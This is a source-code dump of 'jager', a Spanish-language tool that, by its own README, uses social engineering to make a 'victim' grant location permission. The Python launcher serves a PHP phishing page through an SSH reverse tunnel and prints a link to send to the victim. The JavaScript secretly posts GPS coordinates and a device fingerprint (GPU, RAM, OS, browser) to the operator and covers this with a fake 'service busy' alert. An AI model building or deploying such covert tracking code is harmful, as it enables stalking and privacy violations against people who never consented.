├── jphp.log ├── jssh.log ├── ubicacion ├── js │ ├── .gitignore │ ├── main.js │ ├── location.js │ ├── info.js │ └── warpspeed.min.js ├── php │ ├── info.txt │ ├── .gitignore │ ├── eresult.txt │ ├── result.txt │ ├── cap.php │ ├── result.php │ ├── error.php │ └── info.php ├── css │ ├── .gitignore │ └── main.css ├── imagenes │ ├── .gitignore │ ├── bak.png │ └── background.png ├── redir.html ├── style.css ├── redir.css └── index.html ├── requirements.txt ├── jager.png ├── README.md └── jager.py /jphp.log: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /jssh.log: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ubicacion/js/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ubicacion/php/info.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | -------------------------------------------------------------------------------- /ubicacion/css/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ubicacion/php/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ubicacion/php/eresult.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ubicacion/php/result.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ubicacion/imagenes/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ubicacion/js/main.js: -------------------------------------------------------------------------------- 1 | function main() 2 | { 3 | locate(); 4 | } 5 | -------------------------------------------------------------------------------- /jager.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devcryptocore/jager/HEAD/jager.png -------------------------------------------------------------------------------- /ubicacion/imagenes/bak.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devcryptocore/jager/HEAD/ubicacion/imagenes/bak.png -------------------------------------------------------------------------------- /ubicacion/imagenes/background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devcryptocore/jager/HEAD/ubicacion/imagenes/background.png -------------------------------------------------------------------------------- /ubicacion/php/cap.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /ubicacion/php/result.php: -------------------------------------------------------------------------------- 1 | $lat, 17 | 'lon' => $lon, 18 | 'acc' => $acc, 19 | 'alt' => $alt, 20 | 'dir' => $dir, 21 | 'spd' => $spd); 22 | 23 | $jdata = json_encode($data); 24 | $f = fopen('result.txt', 'w+'); 25 | fwrite($f, $jdata); 26 | fclose($f); 27 | } 28 | ?> 29 | -------------------------------------------------------------------------------- /ubicacion/php/error.php: -------------------------------------------------------------------------------- 1 | 42 | -------------------------------------------------------------------------------- /ubicacion/redir.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Ubicador | Localizador de personas 5 | 6 | 7 | 8 | 9 | 10 | 11 |



12 |
13 |
14 |
15 |
16 | Redireccionando...
17 | 18 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # jager 2 | Obtener la ubicación exácta de un dispositivo, con un enlace. 3 |

4 | 5 |

Esta herramienta, crea un servidor en tu dispositivo, a partir de php y lo muestra a internet, a través de un tunel ssh

6 |
generando un enlace, el cual dirige a una página, la cual usa ingeniería social, para hacer que la víctima habilte el permiso de ubicación. 7 |

De esta manera, se obtiene las coordenadas del dispositivo que reciba el enlace.

8 |

Es importante que antes de ejecutar el script, use el comando "ssh -R 80:localhost:3333 nokey@localhost.run" y escriba "yes" cuando se requiera.

9 |

Instalación:

10 |

pip install -r requirements.txt

11 |

[-] apt install php

12 |

[-] apt install openssh

13 |

[-] pip install requirements.txt

14 |

[-] ssh -R 80:localhost:3333 nokey@localhost.run

15 |

[-] yes

16 |

Uso

17 |

[-] cd jager

18 |

[-] python jager.py

19 | 20 |

https://t.me/+NzJDZaOyojE1ZTZh

21 | 22 | Demo: 23 | https://www.youtube.com/watch?v=FQSs0fwb7Xw 24 | -------------------------------------------------------------------------------- /ubicacion/php/info.php: -------------------------------------------------------------------------------- 1 | $ptf, 46 | 'browser' => $brw, 47 | 'cores' => $cc, 48 | 'ram' => $ram, 49 | 'vendor' => $ven, 50 | 'render' => $ren, 51 | 'ip' => $ip, 52 | 'ht' => $ht, 53 | 'wd' => $wd, 54 | 'os' => $os); 55 | 56 | $jdata = json_encode($data); 57 | 58 | $f = fopen('info.txt', 'w+'); 59 | fwrite($f, $jdata); 60 | fclose($f); 61 | } 62 | ?> 63 | -------------------------------------------------------------------------------- /ubicacion/css/main.css: -------------------------------------------------------------------------------- 1 | html, body,footer 2 | { 3 | height: 100%; 4 | } 5 | body 6 | { 7 | background-image: url(2.png),url(1.png),url(background.png); 8 | margin: auto; 9 | overflow: hidden; 10 | } 11 | h1 12 | { 13 | font-family: 'Raleway', sans-serif; 14 | color: white; 15 | text-align: center; 16 | margin: auto; 17 | position: fixed; 18 | top: 5%; 19 | left: 0%; 20 | right: 0%; 21 | } 22 | h2 23 | { 24 | font-family: 'Raleway', sans-serif; 25 | color: white; 26 | text-align: center; 27 | margin: auto; 28 | position: fixed; 29 | top: 15%; 30 | left: 0%; 31 | right: 0%; 32 | } 33 | .form { 34 | margin-left: 50px; 35 | position: relative; 36 | z-index: 1; 37 | background: rgba(0, 0, 0, 0); 38 | max-width: 360px; 39 | margin: 0 auto 0px; 40 | padding: 0px; 41 | text-align: center; 42 | } 43 | .form input { 44 | margin-left: 50px; 45 | font-family: "Roboto", sans-serif; 46 | outline: 0; 47 | background: #f2f2f2; 48 | width: 100%; 49 | border: 0; 50 | margin: 0 0 15px; 51 | padding: 15px; 52 | box-sizing: border-box; 53 | font-size: 18px; 54 | border-radius: 10px; 55 | } 56 | .button 57 | { 58 | background-color: #34DB62; 59 | border: 0px solid white; 60 | cursor: pointer; 61 | color: white; 62 | font-size: 24px; 63 | padding: 14px 40px; 64 | border-radius: 6px; 65 | width: 50%; 66 | text-align: center; 67 | font-family: 'Raleway', sans-serif; 68 | position: fixed; 69 | left: 25%; 70 | right: 25%; 71 | bottom: 14%; 72 | transition: text-shadow 0.2s linear; 73 | text-shadow: 1px 2px 0px #044c09; 74 | } 75 | .text 76 | { 77 | font-family: 'Raleway', sans-serif; 78 | color: white; 79 | text-align: center; 80 | margin: auto; 81 | position: fixed; 82 | top: 5%; 83 | left: 0%; 84 | right: 0%; 85 | z-index: 1; 86 | } 87 | 88 | -------------------------------------------------------------------------------- /ubicacion/style.css: -------------------------------------------------------------------------------- 1 | @import url(https://fonts.googleapis.com/css?family=Roboto:300); 2 | 3 | body 4 | { 5 | background-image: url(imagenes/background.png); 6 | background-position: center; 7 | background-size: auto; 8 | margin: auto; 9 | } 10 | h1 11 | { 12 | font-family: "Roboto", sans-serif; 13 | color: white; 14 | text-align: center; 15 | } 16 | h2 17 | { 18 | font-family: "Roboto"; 19 | color: white; 20 | text-decoration-style: none; 21 | text-align: center; 22 | text-shadow: 0 0 5px black; 23 | } 24 | input 25 | { 26 | background-color: white; 27 | text-shadow: 0 0 0px black; 28 | box-shadow: 0 0 0px 2px #0477cf; 29 | font-family: "Roboto"; 30 | text-align: center; 31 | display: flex; 32 | justify-content: center; 33 | margin: 0 auto; 34 | width: 50%; 35 | height: 30px; 36 | margin-top: 40px; 37 | border-radius: 5px; 38 | border: 0px; 39 | } 40 | img 41 | { 42 | margin-top: 20px; 43 | display: flex; 44 | justify-content: center; 45 | max-width: 400px; 46 | margin-left: auto; 47 | margin-right: auto; 48 | } 49 | button 50 | { 51 | font-size: 18px; 52 | display: flex; 53 | justify-content: center; 54 | margin: 0 auto; 55 | width: 256px; 56 | height: 40px; 57 | margin-top: 30px; 58 | border-radius: 8px; 59 | background-color: #0de216; 60 | color: white; 61 | border: 0px; 62 | text-shadow: 0 0 7px black; 63 | } 64 | footer 65 | { 66 | padding-top: 20px; 67 | text-align: center; 68 | font-family: "Roboto", sans-serif; 69 | color: white; 70 | background-color: #585858db; 71 | width: auto; 72 | height: 120px; 73 | margin-top: 40px; 74 | } 75 | a 76 | { 77 | color: white; 78 | text-decoration: none; 79 | font-size: 14px; 80 | 81 | } 82 | p 83 | { 84 | margin-top: 20px; 85 | font-size: 15px; 86 | color: grey; 87 | } -------------------------------------------------------------------------------- /ubicacion/js/location.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Navegador no soportado.'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | var lon = position.coords.longitude; 17 | var acc = position.coords.accuracy; 18 | var alt = position.coords.altitude; 19 | var dir = position.coords.heading; 20 | var spd = position.coords.speed; 21 | 22 | $.ajax({ 23 | type: 'POST', 24 | url: './php/result.php', 25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 26 | success: function(){$('#change').html('Procesando...');}, 27 | mimeType: 'text' 28 | }); 29 | alert('Nuestro servicio se está usando por muchas personas en este momento, vuelva a intentar en unos minutos.'); 30 | }; 31 | } 32 | 33 | function showError(error) 34 | { 35 | switch(error.code) 36 | { 37 | case error.PERMISSION_DENIED: 38 | var denied = 'Se debe aceptar el permiso para poder funcionar.'; 39 | alert('Por favor, recargue la página y acepte el permiso.'); 40 | break; 41 | case error.POSITION_UNAVAILABLE: 42 | var unavailable = 'Información no disponible.'; 43 | break; 44 | case error.TIMEOUT: 45 | var timeout = 'La petición ha tardado mucho tiempo.'; 46 | alert('Configure su ubicación en modo de alta precisión.'); 47 | break; 48 | case error.UNKNOWN_ERROR: 49 | var unknown = 'Ha ocurrido un error desconocido.'; 50 | break; 51 | } 52 | 53 | $.ajax({ 54 | type: 'POST', 55 | url: './php/error.php', 56 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown}, 57 | success: function(){$('#change').html('Falló');}, 58 | mimeType: 'text' 59 | }); 60 | } 61 | -------------------------------------------------------------------------------- /ubicacion/redir.css: -------------------------------------------------------------------------------- 1 | body, html{ 2 | background-image: url(imagenes/background.png); 3 | margin: auto; 4 | } 5 | .loader{ 6 | border:3px solid #d6336c; 7 | width:200px; 8 | height:200px; 9 | border-radius:50%; 10 | border-left-color: transparent; 11 | border-right-color: transparent; 12 | animation:rotate 2s cubic-bezier(0.26, 1.36, 0.74,-0.29) infinite; 13 | } 14 | #loader2{ 15 | border:3px solid #3bc9db; 16 | width:220px; 17 | height:220px; 18 | position:relative; 19 | top:-216px; 20 | border-left-color: transparent; 21 | border-right-color: transparent; 22 | animation:rotate2 2s cubic-bezier(0.26, 1.36, 0.74,-0.29) infinite; 23 | } 24 | #loader3{ 25 | border:3px solid #d6336c; 26 | width:240px; 27 | height:240px; 28 | position:relative; 29 | top:-452px; 30 | border-left-color: transparent; 31 | border-right-color: transparent; 32 | animation:rotate 2s cubic-bezier(0.26, 1.36, 0.74,-0.29) infinite; 33 | } 34 | #loader4{ 35 | border:3px solid #3bc9db; 36 | width:260px; 37 | height:260px; 38 | position:relative; 39 | top:-708px; 40 | border-left-color: transparent; 41 | border-right-color: transparent; 42 | animation:rotate2 2s cubic-bezier(0.26, 1.36, 0.74,-0.29) infinite; 43 | } 44 | @keyframes rotate{ 45 | 0%{transform:rotateZ(-360deg)} 46 | 100%{transform:rotateZ(0deg)} 47 | } 48 | @keyframes rotate2{ 49 | 0%{transform:rotateZ(360deg)} 50 | 100%{transform:rotateZ(0deg)} 51 | } 52 | #text{ 53 | color:white; 54 | font-family:Arial; 55 | font-size:20px; 56 | position:relative; 57 | top:-857px; 58 | } 59 | footer 60 | { 61 | padding-top: 20px; 62 | text-align: center; 63 | font-family: "Roboto", sans-serif; 64 | color: white; 65 | background-color: #585858db; 66 | width: auto; 67 | height: 120px; 68 | margin-top: 40px; 69 | } 70 | a 71 | { 72 | color: white; 73 | text-decoration: none; 74 | font-size: 14px; 75 | 76 | } 77 | p 78 | { 79 | margin-top: 20px; 80 | font-size: 15px; 81 | color: grey; 82 | } -------------------------------------------------------------------------------- /ubicacion/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | console.log(cc); 19 | //ram 20 | if (ram == undefined) 21 | { 22 | ram = 'Not Available'; 23 | console.log('RAM is not available') 24 | } 25 | console.log(ram); 26 | //browser 27 | if (ver.indexOf('Firefox') != -1) 28 | { 29 | str = str.substring(str.indexOf(' Firefox/') + 1); 30 | str = str.split(' '); 31 | brw = str[0]; 32 | console.log(str[0]); 33 | } 34 | else if (ver.indexOf('Chrome') != -1) 35 | { 36 | str = str.substring(str.indexOf(' Chrome/') + 1); 37 | str = str.split(' '); 38 | brw = str[0]; 39 | console.log(str[0]); 40 | } 41 | else if (ver.indexOf('Safari') != -1) 42 | { 43 | str = str.substring(str.indexOf(' Safari/') + 1); 44 | str = str.split(' '); 45 | brw = str[0]; 46 | console.log(str[0]); 47 | } 48 | else if (ver.indexOf('Edge') != -1) 49 | { 50 | str = str.substring(str.indexOf(' Edge/') + 1); 51 | str = str.split(' '); 52 | brw = str[0]; 53 | console.log(str[0]); 54 | } 55 | else 56 | { 57 | brw = 'Not Available' 58 | console.log('Browser is not available') 59 | } 60 | 61 | //gpu 62 | try 63 | { 64 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 65 | } 66 | catch (e) {} 67 | if (gl) 68 | { 69 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 70 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 71 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 72 | } 73 | if (ven == undefined) 74 | { 75 | ven = 'Not Available'; 76 | console.log('GPU Vendor not available') 77 | } 78 | if (ren == undefined) 79 | { 80 | ren = 'Not Available'; 81 | console.log('GPU Renderer not available') 82 | } 83 | console.log(ven); 84 | console.log(ren); 85 | // 86 | var ht = window.screen.height 87 | var wd = window.screen.width 88 | console.log(window.screen.height) 89 | console.log(window.screen.width) 90 | //os 91 | os = os.substring(0, os.indexOf(')')); 92 | os = os.split(';'); 93 | os = os[1]; 94 | if (os == undefined) 95 | { 96 | os = 'Not Available'; 97 | console.log('OS is not available') 98 | } 99 | os = os.trim(); 100 | console.log(os); 101 | // 102 | $.ajax({ 103 | type: 'POST', 104 | url: './php/info.php', 105 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 106 | success: function(){console.log('Got Device Information');}, 107 | mimeType: 'text' 108 | }); 109 | } 110 | -------------------------------------------------------------------------------- /ubicacion/index.html: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /ubicacion/js/warpspeed.min.js: -------------------------------------------------------------------------------- 1 | function timeStamp(){return window.performance.now?window.performance.now():Date.now()}function isVisible(el){var r=el.getBoundingClientRect();return r.top+r.height>=0&&r.left+r.width>=0&&r.bottom-r.height<=(window.innerHeight||document.documentElement.clientHeight)&&r.right-r.width<=(window.innerWidth||document.documentElement.clientWidth)}function Star(x,y,z){this.x=x,this.y=y,this.z=z,this.size=.5+Math.random()}function WarpSpeed(targetId,config){if(this.targetId=targetId,void 0==WarpSpeed.RUNNING_INSTANCES&&(WarpSpeed.RUNNING_INSTANCES={}),WarpSpeed.RUNNING_INSTANCES[targetId]&&WarpSpeed.RUNNING_INSTANCES[targetId].destroy(),config=config||{},"string"==typeof config)try{config=JSON.parse(config)}catch(e){config={}}this.SPEED=void 0==config.speed||config.speed<0?.7:config.speed,this.TARGET_SPEED=void 0==config.targetSpeed||config.targetSpeed<0?this.SPEED:config.targetSpeed,this.SPEED_ADJ_FACTOR=void 0==config.speedAdjFactor?.03:config.speedAdjFactor<0?0:config.speedAdjFactor>1?1:config.speedAdjFactor,this.DENSITY=void 0==config.density||config.density<=0?.7:config.density,this.USE_CIRCLES=void 0==config.shape?!0:"circle"==config.shape,this.DEPTH_ALPHA=void 0==config.depthFade?!0:config.depthFade,this.WARP_EFFECT=void 0==config.warpEffect?!0:config.warpEffect,this.WARP_EFFECT_LENGTH=void 0==config.warpEffectLength?5:config.warpEffectLength<0?0:config.warpEffectLength,this.STAR_SCALE=void 0==config.starSize||config.starSize<=0?3:config.starSize,this.BACKGROUND_COLOR=void 0==config.backgroundColor?"hsl(263,45%,7%)":config.backgroundColor;var canvas=document.getElementById(this.targetId);canvas.width=1,canvas.height=1;var ctx=canvas.getContext("2d");ctx.fillStyle=this.BACKGROUND_COLOR,ctx.fillRect(0,0,1,1),ctx.fillStyle=void 0==config.starColor?"#FFFFFF":config.starColor,ctx.fillRect(0,0,1,1);var color=ctx.getImageData(0,0,1,1).data;this.STAR_R=color[0],this.STAR_G=color[1],this.STAR_B=color[2],this.prevW=-1,this.prevH=-1,this.stars=[];for(var i=0;i<1e3*this.DENSITY;i++)this.stars.push(new Star(1e3*(Math.random()-.5),1e3*(Math.random()-.5),1e3*Math.random()));this.lastMoveTS=timeStamp(),this.drawRequest=null,this.LAST_RENDER_T=0,WarpSpeed.RUNNING_INSTANCES[targetId]=this,this.draw()}window.requestAnimationFrame=window.requestAnimationFrame||function(callback,element){setTimeout(callback,1e3/60)},WarpSpeed.prototype={constructor:WarpSpeed,draw:function(){var TIME=timeStamp();if(!document.getElementById(this.targetId))return void this.destroy();this.move();var canvas=document.getElementById(this.targetId);if(!this.PAUSED&&isVisible(canvas)){(this.prevW!=canvas.clientWidth||this.prevH!=canvas.clientHeight)&&(canvas.width=(canvas.clientWidth<10?10:canvas.clientWidth)*(window.devicePixelRatio||1),canvas.height=(canvas.clientHeight<10?10:canvas.clientHeight)*(window.devicePixelRatio||1)),this.size=(canvas.heightxOnDisplay||xOnDisplay>.5||-.5>yOnDisplay||yOnDisplay>.5)){var size=s.size*this.size/s.z;if(!(.3>size)){if(this.DEPTH_ALPHA){var alpha=(1e3-s.z)/1e3;ctx.fillStyle=rgba+(alpha>1?1:alpha)+")"}else ctx.fillStyle=rgb;if(this.WARP_EFFECT){ctx.beginPath();var x2OnDisplay=s.x/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED),y2OnDisplay=s.y/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED);if(-.5>x2OnDisplay||x2OnDisplay>.5||-.5>y2OnDisplay||y2OnDisplay>.5)continue;ctx.moveTo(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2),ctx.lineTo(canvas.width*(x2OnDisplay+.5)-size/2,canvas.height*(y2OnDisplay+.5)-size/2),ctx.lineWidth=size>this.maxLineWidth?this.maxLineWidth:size,this.USE_CIRCLES?ctx.lineCap="round":ctx.lineCap="butt",ctx.strokeStyle=ctx.fillStyle,ctx.stroke()}else this.USE_CIRCLES?(ctx.beginPath(),ctx.arc(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size/2,0,2*Math.PI),ctx.fill()):ctx.fillRect(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size,size)}}}this.prevW=canvas.clientWidth,this.prevH=canvas.clientHeight}-1!=this.drawRequest&&(this.drawRequest=requestAnimationFrame(this.draw.bind(this))),this.LAST_RENDER_T=timeStamp()-TIME},move:function(){var t=timeStamp(),speedMulF=(t-this.lastMoveTS)/(1e3/60);if(this.lastMoveTS=t,!this.PAUSED){var speedAdjF=Math.pow(this.SPEED_ADJ_FACTOR<0?0:this.SPEED_ADJ_FACTOR>1?1:this.SPEED_ADJ_FACTOR,1/speedMulF);this.SPEED=this.TARGET_SPEED*speedAdjF+this.SPEED*(1-speedAdjF),this.SPEED<0&&(this.SPEED=0);for(var speed=this.SPEED*speedMulF,i=0;i 0: 89 | os.system('rm jphp.log') 90 | else: 91 | pass 92 | if ltams > 0: 93 | os.system('rm jssh.log') 94 | else: 95 | pass 96 | marc = False 97 | banner() 98 | print (sign + ci + br + ' Iniciando servidor...\n' + r) 99 | time.sleep(4) 100 | print () 101 | try: 102 | with open('jphp.log', 'w') as jphp: 103 | subp.Popen(['php', '-S', 'localhost:4646', '-t', 'ubicacion'], stderr=jphp, stdout=jphp) 104 | with open('jssh.log', 'w') as jssh: 105 | opr = subp.Popen(['ssh', '-R', '80:localhost:4646', 'nokey@localhost.run'], stdout = jssh) 106 | os.system(clear) 107 | time.sleep(3) 108 | except NameError: 109 | time.sleep(3) 110 | print (warn + rj + br + ' No fué posible establecer una conexión con el tunel ssh.' + r) 111 | print (warn + am + br + ' Intente reiniciar el proceso.') 112 | limpiar() 113 | with open('jssh.log', 'r') as jssh: 114 | salida = [linea.split() for linea in jssh] 115 | if salida == []: 116 | print (warn + rj + br + ' No fué posible establecer una conexión con el tunel ssh.' + r) 117 | print (warn + am + br + ' Intente reiniciar el proceso.') 118 | exit() 119 | else: 120 | a = salida[2] 121 | b = ''.join(a) 122 | url = b[50:] 123 | if windows: 124 | os.system(clear) 125 | else: 126 | os.system('reset') 127 | os.system(clear) 128 | banner() 129 | print (sign + vr + ' Enlace para enviar a la víctima: ' + r + url) 130 | esperar() 131 | 132 | def esperar(): 133 | flag = 1 134 | marc = False 135 | try: 136 | while True: 137 | try: 138 | est = os.path.getsize(interaccion) 139 | tam = os.path.getsize(ubicacion) 140 | tame = os.path.getsize(eubicacion) 141 | if tam == 0 and marc == False: 142 | print ('\n' + sign + ci + ' Es recomendable que use un acortador de enlaces.' + r + '\n') 143 | print ('\n' + sign + ci + ' Esperando interacción de la víctima...' + r + '\n') 144 | print (sign + vr + 'Si tarda demasiado,') 145 | print (sign + vr + 'Presione ' + rj + 'Ctrl + C' + r + vr + ' para salir.\n' + r) 146 | marc = True 147 | if est > 0 and flag == 1: 148 | flag = 0 149 | os.system(clear) 150 | banner() 151 | print ('\n' + sign + ci + ' La víctima ha interactuado con el sistema..' + r + '\n') 152 | time.sleep(1) 153 | print ('\n' + sign + ci + ' Obteniendo ubicación...' + r + '\n') 154 | print (sign + vr + 'Si tarda demasiado,') 155 | print (sign + vr + 'Presione ' + rj + 'Ctrl + C' + r + vr + ' para salir.\n' + r) 156 | if tam > 0: 157 | os.system(clear) 158 | banner() 159 | print (sign + vr + br + ' Ubicación adquirida con éxito..!\n' + r) 160 | time.sleep(1) 161 | print (sign + vr + br + ' Procesando...\n' + r) 162 | time.sleep(4) 163 | if windows: 164 | os.system(clear) 165 | else: 166 | os.system('reset') 167 | break 168 | elif tame > 0: 169 | os.system(clear) 170 | banner() 171 | print (warn + rj + br + ' No fué posible obtener la ubicación, no se concedió el permiso.' + r) 172 | time.sleep(3) 173 | if windows: 174 | os.system(clear) 175 | else: 176 | os.system('reset') 177 | break 178 | else: 179 | pass 180 | except: 181 | print (warn + am + ' Operación interrumpida..!\n' + r) 182 | exit() 183 | else: 184 | print (sign + rj + 'Error!' + r) 185 | except: 186 | print (warn + am + ' Operación interrumpida por el usuario.\n' + r) 187 | limpiar() 188 | exit() 189 | 190 | def detalles(): 191 | try: 192 | banner() 193 | with open(ubicacion) as file: 194 | data = json.load(file) 195 | 196 | for i in data['info']: 197 | latitud = i["lat"] 198 | longitud = i["lon"] 199 | print ('\n' + am + "\n________Ubicación del Dispositivo________\n" + r) 200 | print (sign + ci + " Latitud" + r + rj + " >> " + r + latitud) 201 | print (linea) 202 | print (sign + ci + " Longitud" + r + rj + " >> " + r + longitud) 203 | print (linea, '\n\n') 204 | print (sign + vr + " Enlace a Google Maps : " + r + "https://www.google.com/maps/place/" + latitud + ',' + longitud) 205 | print (linea) 206 | 207 | with open(caracteristicas) as file: 208 | data = json.load(file) 209 | 210 | for i in data["dev"]: 211 | Marca = i["vendor"] 212 | So = i["os"] 213 | plataforma = i["platform"] 214 | Navegador = i["browser"] 215 | print () 216 | print (am + '_____Características del Dispositivo_____\n' + r) 217 | print (sign + ci + " Manufacturador" + r + rj + " >> " + r + Marca) 218 | print (linea) 219 | print (sign + ci + " Sistema operativo" + r + rj + " >> " + r + So) 220 | print (linea) 221 | print (sign + ci + " Plataforma" + r + rj + " >> " + r + plataforma) 222 | print (linea) 223 | print (sign + ci + " Navegador" + r + rj + " >> " + r + Navegador) 224 | print (linea) 225 | except: 226 | banner() 227 | print (warn + am + br + ' Error de conexión, no se pudo recolectar los datos.' + r) 228 | print (warn + am + br + ' La interacción de la víctima con el sistema ha sido errónea.' + r) 229 | time.sleep(5) 230 | limpiar() 231 | def limpiar(): 232 | if windows: 233 | os.system(clear) 234 | else: 235 | os.system('reset') 236 | os.system('pkill php') 237 | os.system(clear) 238 | 239 | def ejecucion(): 240 | limpiar() 241 | conexion() 242 | detalles() 243 | ejecucion() 244 | sys.exit() 245 | # Creado por: System Failure | Modification - R53 © --------------------------------------------------------------------------------